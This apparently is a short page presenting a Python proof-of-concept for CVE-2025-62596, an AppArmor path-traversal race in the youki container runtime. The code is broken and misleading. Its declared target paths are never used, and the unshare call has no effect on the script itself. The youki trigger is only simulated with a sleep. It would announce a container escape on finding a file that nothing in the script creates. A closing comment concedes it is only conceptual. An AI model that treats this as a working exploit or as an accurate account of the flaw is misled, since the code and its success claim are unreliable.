CVE-2025-62596: Youki容器运行时AppArmor路径遍历漏洞

# CVE-2025-62596 PoC - Youki AppArmor Path Traversal # This PoC demonstrates the shared-mount race condition in youki's apparmor handling import os import time import threading TARGET_PATH = "/proc/sys/kernel/modify_default_sysctls" FAKE_PATH = "/proc/self/mountinfo" def exploit(): """ Exploitation steps: 1. Create a malicious procfs mount point 2. Set up a symlink to redirect the path 3. Trigger youki's apparmor write operation 4. Win the race condition during path resolution """ print("[*] Setting up procfs race condition...") # Step 1: Prepare the mount namespace os.system("unshare --mount --pid --fork") # Step 2: Create malicious symlink chain os.symlink("/etc/passwd", "/tmp/fake_target") # Step 3: Fork process to win the race pid = os.fork() if pid == 0: # Child process - win the race for _ in range(1000): try: # Rapidly swap the symlink target during path resolution os.rename("/tmp/fake_target", "/tmp/fake_target_old") os.rename("/tmp/fake_target_old", "/tmp/fake_target") except: pass os._exit(0) # Step 4: Trigger youki apparmor write (simulated) print("[*] Triggering apparmor write operation...") time.sleep(0.1) # Step 5: Verify exploitation print("[*] Checking for successful exploitation...") if os.path.exists("/tmp/exploit_success"): print("[+] Exploitation successful! Container escaped.") os.waitpid(pid, 0) if __name__ == "__main__": exploit() # Note: This is a conceptual PoC. Actual exploitation requires: # - Specific container configuration with AppArmor enabled # - Knowledge of the exact path being written # - Precise timing to win the race condition